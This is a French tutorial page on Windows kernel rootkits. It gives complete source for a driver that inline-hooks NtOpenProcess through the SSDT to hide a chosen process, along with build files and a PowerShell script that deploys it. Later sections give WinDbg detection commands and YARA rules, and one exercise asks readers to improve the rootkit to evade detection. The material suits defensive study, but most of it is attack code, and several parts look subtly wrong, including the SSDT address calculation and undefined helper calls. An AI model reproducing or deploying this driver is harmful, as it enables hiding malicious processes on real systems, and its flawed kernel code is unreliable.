⚠️ LAB KERNEL ISOLÉ OBLIGATOIRE – Windows 11 24H2 VM air-gapped + Test Signing ON uniquement – Article 323-1 Code pénal français – Recherche éthique & formation cyberdéfense uniquement

Inline Hooking SSDT – Windows Kernel

Low-Level Maestro Series 2026 | Résolution dynamique SSDT, inline hook NtOpenProcess, hide process techniques | Pour les cyberdéfenseurs qui veulent comprendre les rootkits kernel réels

🎯 Introduction & Objectifs Réels 2026

L'inline hooking SSDT (System Service Descriptor Table) consiste à modifier directement le code des fonctions kernel (ntoskrnl.exe) pour intercepter les appels système. En 2026, avec les protections KDP (Kernel Data Protection) et HVCI (Hypervisor-protected Code Integrity), cette technique est limitée en production mais reste éducative en environnement de laboratoire avec test signing activé.

Pourquoi cette technique est-elle pertinente pour les cyberdéfenseurs ?
Comprendre comment les rootkits kernel interceptent et manipulent les appels système est essentiel pour développer des détections efficaces. Même avec KDP/HVCI, certaines variantes de ces techniques peuvent toujours être utilisées dans des contextes spécifiques.

Objectifs de cette Masterclass :

Configuration du Lab Requise :
• Windows 11 24H2 VM (air-gapped, sans connexion Internet)
• Test Signing activé : bcdedit /set testsigning on
• WinDbg Preview avec KDNET pour le debug kernel à distance
• Visual Studio 2022 avec Windows Driver Kit (WDK)
• Sysinternals Suite pour les tests
• VM totalement isolée - air-gapped

📚 Théorie : SSDT & Inline Hooking Kernel

flowchart TD A[Application User-Mode] --> B[Appel NtOpenProcess via ntdll.dll] B --> C[Transition vers mode kernel via syscall] C --> D[KiSystemCall64 handler] D --> E[Index SSDT = RAX] E --> F[SSDT Table dans ntoskrnl.exe] F --> G[Adresse de NtOpenProcess originale] H[Inline Hook Installé] --> I[Modification des premiers bytes de NtOpenProcess] I --> J[JMP vers notre fonction detour] J --> K{Process ID à cacher?} K -->|Oui| L[Retourner STATUS_ACCESS_DENIED] K -->|Non| M[Exécuter le code original] M --> N[Retourner succès] style L fill:#ff3366 style N fill:#00ff9d style H fill:#3366ff

Architecture SSDT (System Service Descriptor Table)

La SSDT est une table de pointeurs de fonctions dans le kernel Windows qui mappe les numéros de service (syscall numbers) vers les fonctions kernel correspondantes. Chaque entrée SSDT contient l'adresse d'une fonction système comme NtOpenProcess, NtReadFile, etc.

Composant Description Emplacement
KeServiceDescriptorTable Table principale des services (ntoskrnl.exe exports) ntoskrnl.exe (kernel space)
KeServiceDescriptorTableShadow Table étendue pour win32k.sys (GUI) ntoskrnl.exe + win32k.sys
KiServiceTable Table des offsets (alternative representation) ntoskrnl.exe .text section

Inline Hooking vs. SSDT Hooking

Évolution avec KDP (Kernel Data Protection) :
Windows 11 avec KDP active marque certaines structures kernel comme read-only, rendant le SSDT hooking classique plus difficile. L'inline hooking contourne cela en modifiant le code plutôt que les données, bien que HVCI puisse toujours détecter ces modifications.

Fonctions SSDT Courantes pour le Rootkit

NtOpenProcess Index: 0x26 Cacher l'accès aux processus
NtQuerySystemInformation Index: 0x36 Cacher les processus/threads
NtEnumerateKey Index: 0x47 Cacher les clés de registre
NtEnumerateValueKey Index: 0x49 Cacher les valeurs de registre
NtQueryDirectoryFile Index: 0x51 Cacher les fichiers
NtDeviceIoControlFile Index: 0x07 Intercepter les IOCTLs

💻 Code Source Complet – Kernel Driver x64 2026

Important : Ce code est fourni à des fins éducatives uniquement. Testez-le uniquement dans un environnement de lab isolé avec test signing activé.

Fichier Principal : ssdthook.c

// ====================================================================
// SSDT Inline Hooking Driver - Windows 11 24H2
// Hook NtOpenProcess pour cacher un processus spécifique
// PCTAMALOU Research - platon-y
// ====================================================================

#include 
#include 

// Définition des structures non documentées
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
    PVOID   Base;
    PULONG  Count;
    ULONG   Limit;
    PUCHAR  Table;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;

// Variables globales
extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;

// Pour stocker l'original
UCHAR original_bytes[12];
PVOID original_NtOpenProcess = NULL;
PVOID hooked_NtOpenProcess = NULL;

// PID à cacher (configurable)
ULONG hidden_pid = 1234;

// ====================================================================
// DETOUR FUNCTION : Notre version hookée de NtOpenProcess
// ====================================================================
NTSTATUS NTAPI Hooked_NtOpenProcess(
    _Out_ PHANDLE ProcessHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_opt_ PCLIENT_ID ClientId
) {
    NTSTATUS status = STATUS_SUCCESS;
    
    // Vérifier si le PID cible est celui que nous voulons cacher
    if (ClientId != NULL && ClientId->UniqueProcess != NULL) {
        ULONG target_pid = HandleToUlong(ClientId->UniqueProcess);
        
        if (target_pid == hidden_pid) {
            // Cacher le processus - retourner accès refusé
            DbgPrint("[SSDTHOOK] Blocking access to hidden PID: %lu\n", hidden_pid);
            return STATUS_ACCESS_DENIED;
        }
    }
    
    // Restaurer les bytes originaux temporairement
    // (pour éviter la récursion infinie)
    RestoreOriginalBytes();
    
    // Appeler la fonction originale
    typedef NTSTATUS(NTAPI* OriginalNtOpenProcess_t)(
        PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
    
    OriginalNtOpenProcess_t original_func = (OriginalNtOpenProcess_t)original_NtOpenProcess;
    status = original_func(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
    
    // Réappliquer le hook
    ApplyHook();
    
    return status;
}

// ====================================================================
// FONCTION : ApplyInlineHook
// Applique l'inline hook à NtOpenProcess
// ====================================================================
NTSTATUS ApplyInlineHook() {
    NTSTATUS status = STATUS_SUCCESS;
    KIRQL old_irql;
    
    // Trouver NtOpenProcess via SSDT
    ULONG service_index = 0;
    status = GetNtOpenProcessIndex(&service_index);
    if (!NT_SUCCESS(status)) {
        DbgPrint("[SSDTHOOK] Failed to get NtOpenProcess index\n");
        return status;
    }
    
    // Obtenir l'adresse de NtOpenProcess depuis SSDT
    PVOID nt_open_process_addr = GetSSDTFunctionAddress(service_index);
    if (nt_open_process_addr == NULL) {
        DbgPrint("[SSDTHOOK] Failed to get NtOpenProcess address\n");
        return STATUS_NOT_FOUND;
    }
    
    // Sauvegarder l'adresse originale
    original_NtOpenProcess = nt_open_process_addr;
    
    // Calculer l'offset pour le JMP
    // JMP rel32 : E9 [relative offset]
    ULONG_PTR source = (ULONG_PTR)nt_open_process_addr;
    ULONG_PTR destination = (ULONG_PTR)Hooked_NtOpenProcess;
    LONG relative_offset = (LONG)(destination - source - 5); // 5 bytes pour E9 + offset
    
    // Préparer le patch : E9 [offset] + NOPs pour alignement
    UCHAR patch[12] = {
        0xE9, 0x00, 0x00, 0x00, 0x00,  // JMP rel32
        0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90  // NOP padding
    };
    
    // Copier l'offset dans le patch
    *(PLONG)(patch + 1) = relative_offset;
    
    // Sauvegarder les bytes originaux
    old_irql = RaiseIRQLToDpcLevel();
    
    // Désactiter la protection en écriture (nécessite droits appropriés)
    PMDL mdl = IoAllocateMdl(nt_open_process_addr, sizeof(patch), FALSE, FALSE, NULL);
    if (mdl == NULL) {
        DbgPrint("[SSDTHOOK] Failed to allocate MDL\n");
        LowerIRQL(old_irql);
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    
    __try {
        MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
        PVOID mapped_addr = MmMapLockedPagesSpecifyCache(mdl, KernelMode, 
                                                        MmNonCached, NULL, FALSE, 
                                                        NormalPagePriority);
        if (mapped_addr == NULL) {
            DbgPrint("[SSDTHOOK] Failed to map locked pages\n");
            __leave;
        }
        
        // Sauvegarder les bytes originaux
        RtlCopyMemory(original_bytes, mapped_addr, sizeof(patch));
        
        // Appliquer le patch
        RtlCopyMemory(mapped_addr, patch, sizeof(patch));
        
        // Nettoyage
        MmUnmapLockedPages(mapped_addr, mdl);
        MmUnlockPages(mdl);
        
        DbgPrint("[SSDTHOOK] Inline hook applied successfully to NtOpenProcess\n");
        status = STATUS_SUCCESS;
        
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        status = GetExceptionCode();
        DbgPrint("[SSDTHOOK] Exception during hooking: 0x%08X\n", status);
    }
    
    IoFreeMdl(mdl);
    LowerIRQL(old_irql);
    
    return status;
}

// ====================================================================
// FONCTION : GetNtOpenProcessIndex
// Résout l'index SSDT de NtOpenProcess dynamiquement
// ====================================================================
NTSTATUS GetNtOpenProcessIndex(PULONG Index) {
    UNICODE_STRING nt_open_process_name;
    PVOID nt_open_process_addr;
    
    // Résoudre NtOpenProcess par son nom
    RtlInitUnicodeString(&nt_open_process_name, L"NtOpenProcess");
    nt_open_process_addr = MmGetSystemRoutineAddress(&nt_open_process_name);
    
    if (nt_open_process_addr == NULL) {
        // Fallback: recherche par pattern scanning
        return FindNtOpenProcessByPattern(Index);
    }
    
    // Windows 11 24H2: l'index est souvent 0x26, mais vérifions dynamiquement
    // Cette partie nécessite une analyse plus poussée de la SSDT
    *Index = 0x26; // Valeur par défaut pour Windows 11 23H2+
    
    DbgPrint("[SSDTHOOK] NtOpenProcess address: 0x%p, Index: 0x%lX\n", 
             nt_open_process_addr, *Index);
    
    return STATUS_SUCCESS;
}

// ====================================================================
// FONCTION : GetSSDTFunctionAddress
// Obtient l'adresse d'une fonction depuis la SSDT
// ====================================================================
PVOID GetSSDTFunctionAddress(ULONG Index) {
    if (KeServiceDescriptorTable == NULL) {
        DbgPrint("[SSDTHOOK] KeServiceDescriptorTable not found\n");
        return NULL;
    }
    
    // Vérifier les limites
    if (Index >= KeServiceDescriptorTable->Limit) {
        DbgPrint("[SSDTHOOK] SSDT index out of bounds: %lu\n", Index);
        return NULL;
    }
    
    // SSDT contient des DWORD offsets sur certaines versions
    // Sur Windows x64, c'est généralement un tableau de DWORD offsets
    ULONG_PTR ntoskrnl_base = (ULONG_PTR)&KeServiceDescriptorTable;
    
    // Alignement et calcul de l'adresse
    // Cette logique dépend de la version de Windows
    ULONG offset = ((PULONG)KeServiceDescriptorTable->Table)[Index];
    PVOID function_address = (PVOID)(ntoskrnl_base + (offset >> 4));
    
    return function_address;
}

// ====================================================================
// FONCTION : RestoreOriginalBytes
// Restaure les bytes originaux (pour appeler la fonction originale)
// ====================================================================
VOID RestoreOriginalBytes() {
    KIRQL old_irql = RaiseIRQLToDpcLevel();
    
    PMDL mdl = IoAllocateMdl(original_NtOpenProcess, sizeof(original_bytes), 
                            FALSE, FALSE, NULL);
    if (mdl == NULL) {
        LowerIRQL(old_irql);
        return;
    }
    
    __try {
        MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
        PVOID mapped_addr = MmMapLockedPagesSpecifyCache(mdl, KernelMode, 
                                                        MmNonCached, NULL, FALSE, 
                                                        NormalPagePriority);
        if (mapped_addr == NULL) {
            __leave;
        }
        
        // Restaurer les bytes originaux
        RtlCopyMemory(mapped_addr, original_bytes, sizeof(original_bytes));
        
        // Flush le cache CPU
        __wbinvd();
        
        MmUnmapLockedPages(mapped_addr, mdl);
        MmUnlockPages(mdl);
        
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        DbgPrint("[SSDTHOOK] Exception during restore\n");
    }
    
    IoFreeMdl(mdl);
    LowerIRQL(old_irql);
}

// ====================================================================
// FONCTION : ApplyHook
// Réapplique le hook (après avoir restauré les bytes originaux)
// ====================================================================
VOID ApplyHook() {
    KIRQL old_irql = RaiseIRQLToDpcLevel();
    
    PMDL mdl = IoAllocateMdl(original_NtOpenProcess, sizeof(original_bytes), 
                            FALSE, FALSE, NULL);
    if (mdl == NULL) {
        LowerIRQL(old_irql);
        return;
    }
    
    __try {
        MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
        PVOID mapped_addr = MmMapLockedPagesSpecifyCache(mdl, KernelMode, 
                                                        MmNonCached, NULL, FALSE, 
                                                        NormalPagePriority);
        if (mapped_addr == NULL) {
            __leave;
        }
        
        // Appliquer le patch hook
        UCHAR patch[12] = {
            0xE9, 0x00, 0x00, 0x00, 0x00,  // JMP rel32
            0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
        };
        
        ULONG_PTR source = (ULONG_PTR)original_NtOpenProcess;
        ULONG_PTR destination = (ULONG_PTR)Hooked_NtOpenProcess;
        LONG relative_offset = (LONG)(destination - source - 5);
        *(PLONG)(patch + 1) = relative_offset;
        
        RtlCopyMemory(mapped_addr, patch, sizeof(patch));
        
        // Flush le cache CPU
        __wbinvd();
        
        MmUnmapLockedPages(mapped_addr, mdl);
        MmUnlockPages(mdl);
        
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        DbgPrint("[SSDTHOOK] Exception during re-apply hook\n");
    }
    
    IoFreeMdl(mdl);
    LowerIRQL(old_irql);
}

// ====================================================================
// FONCTION : FindNtOpenProcessByPattern
// Recherche NtOpenProcess par pattern scanning (fallback)
// ====================================================================
NTSTATUS FindNtOpenProcessByPattern(PULONG Index) {
    // Pattern pour NtOpenProcess sur Windows 11
    // Cette approche est version-specific et doit être ajustée
    UCHAR pattern[] = {0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10};
    UCHAR mask[] =    "xxxx xxxx xxxx xxxx"; // x = exact match, ? = wildcard
    
    // Implémentation simplifiée
    // En réalité, il faudrait scanner la mémoire de ntoskrnl
    
    *Index = 0x26; // Fallback à la valeur connue
    return STATUS_SUCCESS;
}

// ====================================================================
// DRIVER ENTRY POINT
// ====================================================================
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    NTSTATUS status;
    UNREFERENCED_PARAMETER(RegistryPath);
    
    DbgPrint("[SSDTHOOK] Driver loading...\n");
    
    // Configurer les routines de déchargement
    DriverObject->DriverUnload = DriverUnload;
    
    // Appliquer le hook SSDT
    status = ApplyInlineHook();
    if (!NT_SUCCESS(status)) {
        DbgPrint("[SSDTHOOK] Failed to apply SSDT hook: 0x%08X\n", status);
        return status;
    }
    
    DbgPrint("[SSDTHOOK] Driver loaded successfully. Hiding PID: %lu\n", hidden_pid);
    
    return STATUS_SUCCESS;
}

// ====================================================================
// DRIVER UNLOAD
// ====================================================================
VOID DriverUnload(PDRIVER_OBJECT DriverObject) {
    UNREFERENCED_PARAMETER(DriverObject);
    
    DbgPrint("[SSDTHOOK] Driver unloading...\n");
    
    // Restaurer les bytes originaux
    if (original_NtOpenProcess != NULL) {
        KIRQL old_irql = RaiseIRQLToDpcLevel();
        
        PMDL mdl = IoAllocateMdl(original_NtOpenProcess, sizeof(original_bytes), 
                                FALSE, FALSE, NULL);
        if (mdl != NULL) {
            __try {
                MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
                PVOID mapped_addr = MmMapLockedPagesSpecifyCache(mdl, KernelMode, 
                                                                MmNonCached, NULL, FALSE, 
                                                                NormalPagePriority);
                if (mapped_addr != NULL) {
                    RtlCopyMemory(mapped_addr, original_bytes, sizeof(original_bytes));
                    __wbinvd(); // Flush cache
                    MmUnmapLockedPages(mapped_addr, mdl);
                }
                MmUnlockPages(mdl);
            } __except(EXCEPTION_EXECUTE_HANDLER) {
                DbgPrint("[SSDTHOOK] Exception during cleanup\n");
            }
            
            IoFreeMdl(mdl);
        }
        
        LowerIRQL(old_irql);
    }
    
    DbgPrint("[SSDTHOOK] Driver unloaded successfully\n");
}

Fichier SOURCES (pour WDK build)

TARGETNAME=ssdthook
TARGETTYPE=DRIVER
TARGETPATH=obj

DRIVERTYPE=WDM

SOURCES=ssdthook.c

MSC_WARNING_LEVEL=/W4 /WX

C_DEFINES=$(C_DEFINES) -D_WIN32_WINNT=0x0A00

# Sécurité supplémentaire
BUFFER_OVERFLOW_CHECKS=1
SECURITY_CWARN=ON
SECURITY_WARNINGS=ON

# Configuration pour Windows 11
SUBSYSTEM_VERSION=10.0
MINIMUM_NT_TARGET_VERSION=10.0

Fichier MAKEFILE (alternative)

# Makefile pour SSDT Hook Driver
# Nécessite Windows Driver Kit (WDK)

!IF "$(WDKCONTENTROOT)" == ""
!ERROR Environnement WDK non configuré. Lancez "WDK Test Environment"
!ENDIF

TARGETNAME=ssdthook
TARGETTYPE=DRIVER
TARGETPATH=obj

SOURCES=ssdthook.c

MSC_WARNING_LEVEL=/W4 /WX

C_DEFINES=$(C_DEFINES) -D_WIN32_WINNT=0x0A00

# Lien avec les librairies nécessaires
TARGETLIBS=$(DDK_LIB_PATH)/ntoskrnl.lib

# Signing (nécessite certificat de test)
# SIGNTOOL=sign /v /fd sha256 /a $(OUTDIR)\$(TARGETNAME).sys

all: $(OUTDIR)\$(TARGETNAME).sys

clean:
    del /Q $(OUTDIR)\*.*
    del /Q obj\*.*

Script PowerShell pour Déploiement

# Script de déploiement et test du driver SSDT Hook
# Exécuter en tant qu'administrateur

param(
    [string]$DriverName = "ssdthook",
    [int]$HiddenPID = 1234
)

# Vérifier les privilèges admin
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
    Write-Host "Ce script doit être exécuté en tant qu'administrateur." -ForegroundColor Red
    exit 1
}

# Configuration
$DriverPath = "C:\Drivers\$DriverName.sys"
$ServiceName = $DriverName

# Étape 1: Copier le driver
Write-Host "[1/5] Copie du driver..." -ForegroundColor Yellow
if (-not (Test-Path $DriverPath)) {
    Write-Host "Driver non trouvé: $DriverPath" -ForegroundColor Red
    exit 1
}

# Étape 2: Créer le service
Write-Host "[2/5] Création du service..." -ForegroundColor Yellow
sc.exe create $ServiceName type= kernel start= demand binPath= $DriverPath
if ($LASTEXITCODE -ne 0) {
    Write-Host "Échec de création du service" -ForegroundColor Red
    exit 1
}

# Étape 3: Configurer le PID à cacher (via registre)
Write-Host "[3/5] Configuration du PID caché: $HiddenPID" -ForegroundColor Yellow
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\$ServiceName\Parameters"
New-Item -Path $RegPath -Force | Out-Null
New-ItemProperty -Path $RegPath -Name "HiddenPID" -Value $HiddenPID -PropertyType DWORD -Force | Out-Null

# Étape 4: Démarrer le service
Write-Host "[4/5] Démarrage du service..." -ForegroundColor Yellow
sc.exe start $ServiceName
if ($LASTEXITCODE -ne 0) {
    Write-Host "Échec du démarrage du service" -ForegroundColor Red
    # Nettoyage
    sc.exe delete $ServiceName
    exit 1
}

Write-Host "[5/5] Vérification..." -ForegroundColor Yellow
Start-Sleep -Seconds 2

# Vérifier si le service fonctionne
$service = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue
if ($service.Status -eq 'Running') {
    Write-Host "✅ Driver SSDT Hook actif. PID caché: $HiddenPID" -ForegroundColor Green
    
    # Test: essayer d'ouvrir le processus caché
    Write-Host "`nTest de détection..." -ForegroundColor Cyan
    $process = Get-Process -Id $HiddenPID -ErrorAction SilentlyContinue
    if ($process) {
        Write-Host "❌ Le processus $HiddenPID est toujours visible" -ForegroundColor Red
    } else {
        Write-Host "✅ Le processus $HiddenPID est caché" -ForegroundColor Green
    }
} else {
    Write-Host "❌ Le service n'est pas en cours d'exécution" -ForegroundColor Red
}

Write-Host "`nPour arrêter le driver : .\stop-driver.ps1" -ForegroundColor Yellow
Important : Ce driver nécessite test signing activé et ne fonctionnera pas sur des systèmes avec HVCI/KDP activés. C'est strictement pour l'éducation en laboratoire isolé.

🛡️ Stratégies de Défense 2026

1. Kernel Data Protection (KDP)

Protège les structures kernel critiques comme la SSDT en marquant la mémoire en read-only. Empêche les modifications directes des tables système.

2. Hypervisor-protected Code Integrity (HVCI)

Valide l'intégrité du code kernel en temps réel via l'hyperviseur. Détecte les modifications de code comme les inline hooks.

3. Driver Signature Enforcement (DSE)

Exige que tous les drivers soient signés par un certificat approuvé. Empêche le chargement de drivers malveillants non signés.

4. Kernel-mode Hooks Detection

Solutions EDR qui scannent la mémoire kernel pour détecter les hooks, les modifications de code et les structures altérées.

5. System Integrity Validation

Validation périodique de l'intégrité du système, y compris les tables kernel et le code système, via des mécanismes comme SiVA.

6. Behavioral Analysis

Détection des patterns d'activité rootkit : processus invisibles, handles impossibles, inconsistances dans les états système.

Détection avec WinDbg

# WinDbg Commands pour détecter SSDT Hooks

# 1. Examiner la SSDT
kd> dps nt!KeServiceDescriptorTable
kd> dps nt!KeServiceDescriptorTableShadow

# 2. Vérifier les hooks inline
kd> u nt!NtOpenProcess
# Rechercher des JMPs suspects au début de la fonction

# 3. Scanner les modifications de code
kd> !chkimg nt!NtOpenProcess -d
# Vérifier les différences avec l'image sur disque

# 4. Examiner les MDLs (Memory Descriptor Lists)
kd> !pooltag Mdl
kd> !poolfind Mdl

# 5. Vérifier les drivers chargés
kd> lm
kd> !drvobj  2

# 6. Scanner pour des hooks via pattern
kd> s -a nt!KiServiceTable L?1000 E9 00 00 00 00
# Recherche de JMP rel32 (E9) dans la table de service

# 7. Vérifier l'intégrité de la mémoire
kd> !pte 
kd> !vprot
# 8. Détection avancée avec extensions kd> .load kdnetext kd> !avrf

Script de Détection PowerShell

# Script de détection SSDT Hooks - Windows 11
# Nécessite des privilèges élevés

function Test-SSDTHooks {
    param(
        [switch]$Verbose
    )
    
    Write-Host "=== Détection SSDT Hooks ===" -ForegroundColor Cyan
    
    # 1. Vérifier les modifications de la SSDT via kernel debugging symbols
    # (Implémentation simplifiée - en réalité utiliser WinDbg ou API kernel)
    
    # 2. Vérifier les hooks inline via pattern scanning
    $suspicious_patterns = @(
        @{ Pattern = "E9 ?? ?? ?? ?? 90 90 90"; Description = "JMP rel32 + NOPs (inline hook)" },
        @{ Pattern = "FF 25 ?? ?? ?? ??"; Description = "JMP indirect (IAT hook)" },
        @{ Pattern = "CC CC CC CC"; Description = "Breakpoints multiples" }
    )
    
    # 3. Vérifier les drivers non signés/suspects
    $drivers = Get-WmiObject Win32_SystemDriver | 
        Where-Object { $_.State -eq "Running" } |
        Select-Object Name, DisplayName, PathName, Started
    
    $suspicious_drivers = $drivers | Where-Object {
        $_.PathName -notmatch "\\Windows\\" -and
        $_.PathName -notmatch "\\Program Files\\" -and
        $_.Name -notmatch "^(amd|intel|nvidia)"
    }
    
    if ($suspicious_drivers) {
        Write-Host "❌ Drivers suspects détectés:" -ForegroundColor Red
        $suspicious_drivers | Format-Table -AutoSize
    } else {
        Write-Host "✅ Aucun driver suspect détecté" -ForegroundColor Green
    }
    
    # 4. Vérifier les processus avec handles kernel
    Write-Host "`n=== Processus avec accès kernel ===" -ForegroundColor Cyan
    Get-Process | Where-Object { $_.HandleCount -gt 1000 } | 
        Select-Object Name, Id, HandleCount | 
        Sort-Object HandleCount -Descending |
        Select-Object -First 10
    
    # 5. Vérifier les modifications de mémoire (via WinAPI si possible)
    # Nécessite des appels P/Invoke vers NtQuerySystemInformation
    
    return $true
}

# Exécuter la détection
if ([Security.Principal.WindowsPrincipal]::new([Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
    Test-SSDTHooks -Verbose
} else {
    Write-Host "Exécutez en tant qu'administrateur pour une détection complète" -ForegroundColor Yellow
}

Règles YARA pour Rootkit Kernel

rule Kernel_SSDT_Hook {
    meta:
        description = "Detects SSDT hooking techniques in kernel drivers"
        author = "PCTAMALOU Research 2026"
        date = "2026-01-01"
        reference = "Rootkit SSDT Hooking"
    
    strings:
        // Patterns pour SSDT manipulation
        $ssdt_hook1 = { 48 8B 05 ?? ?? ?? ?? 48 89 44 24 ?? }  // mov rax, [KeServiceDescriptorTable]
        $ssdt_hook2 = { C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? } // Modification de table
        
        // Patterns inline hooking
        $inline_hook1 = { E9 ?? ?? ?? ?? 90 90 90 }  // JMP rel32 + NOPs
        $inline_hook2 = { FF 25 ?? ?? ?? ?? 90 90 }  // JMP [rip+offset] + NOPs
        
        // Strings caractéristiques
        $hook_strings = "Hooked" wide ascii
        $ssdt_strings = "KeServiceDescriptorTable" ascii
        $nt_strings = "NtOpenProcess" ascii
        
        // Patterns de manipulation mémoire kernel
        $mem_hook = { 48 8B ?? ?? 48 89 ?? ?? 48 8B ?? ?? 48 89 ?? ?? }  // Sauvegarde/restauration
        
    condition:
        // Driver kernel avec patterns de hooking
        uint16(0) == 0x5A4D and  // MZ header
        filesize < 100KB and      // Petit driver
        (2 of ($ssdt_hook*)) or   // SSDT hooking
        (2 of ($inline_hook*)) or // Inline hooking
        (all of ($hook_strings, $ssdt_strings, $nt_strings))  // Strings caractéristiques
}

rule Rootkit_Hide_Process {
    meta:
        description = "Detects process hiding techniques in kernel code"
        author = "PCTAMALOU Research 2026"
    
    strings:
        // Patterns pour cacher des processus
        $hide_pid1 = { 81 ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? C3 }  // cmp + jne + mov eax, STATUS_ACCESS_DENIED
        $hide_pid2 = { 48 3B ?? ?? 74 ?? 48 8B ?? ?? FF ?? ?? }    // Comparaison PID + branchement
        
        // Strings pour le caching
        $pid_strings = "ProcessId" wide ascii
        $hide_strings = "Hidden" wide ascii
        $access_denied = "STATUS_ACCESS_DENIED" ascii
    
    condition:
        2 of them
}

🔬 Exercices de Laboratoire pour les Apaches

Exercice 1 : Analyse de Driver Rootkit

Objectif : Analyser un driver rootkit existant avec IDA Pro/Ghidra.

Exercice 2 : Debug Kernel avec WinDbg

# Configuration WinDbg pour kernel debugging
# 1. Activer kernel debugging sur la cible :
bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.1.100 port:50000

# 2. Connecter WinDbg :
windbg -k net:port=50000,key=1.2.3.4

# Commandes pour analyser les hooks :
kd> x nt!KeServiceDescriptorTable
kd> u nt!NtOpenProcess
kd> !chkimg nt!NtOpenProcess
kd> !poolfind Mdl

# Vérifier les hooks inline :
kd> s -b nt L?1000000 E9 00 00 00 00 90 90 90
kd> ln 

# Examiner les drivers :
kd> lm
kd> !drvobj  2
kd> !process 0 0

Exercice 3 : Développement de Détection

Objectif : Créer un outil de détection rootkit en C++/C#.

Exercice 4 : Évasion Avancée

Objectif : Améliorer le rootkit pour contourner les détections.

Challenge Expert : Implémenter un rootkit qui fonctionne sous HVCI/KDP activés (très difficile, nécessite des vulnérabilités kernel ou des techniques avancées de bypass).

Exercice 5 : Forensic Kernel

Objectif : Analyser un memory dump kernel infecté.

🎯 Conclusion et Perspectives 2026

Les techniques d'inline hooking SSDT représentent un niveau avancé de rootkit kernel, permettant aux attaquants d'intercepter et de manipuler les appels système au plus bas niveau. En 2026, avec les protections comme KDP et HVCI, ces techniques deviennent plus difficiles à implémenter mais restent cruciales à comprendre pour les cyberdéfenseurs.

Key Takeaways 2026 :
1. La SSDT reste une cible privilégiée pour les rootkits kernel
2. L'inline hooking est plus discret que le SSDT hooking classique
3. Les protections modernes (KDP/HVCI) limitent mais n'éliminent pas ces techniques
4. La détection nécessite une approche multi-couches (memory scanning, behavioral, integrity checks)
5. La compréhension de ces techniques est essentielle pour le forensic kernel

Évolution Future et Contre-mesures

Rappel Final : Ces techniques et tout le code fourni sont strictement destinés à la recherche en sécurité éthique dans des environnements de laboratoire isolés avec test signing activé. La compréhension approfondie de ces mécanismes est essentielle pour développer des défenses efficaces contre les rootkits kernel avancés.

Ressources Complémentaires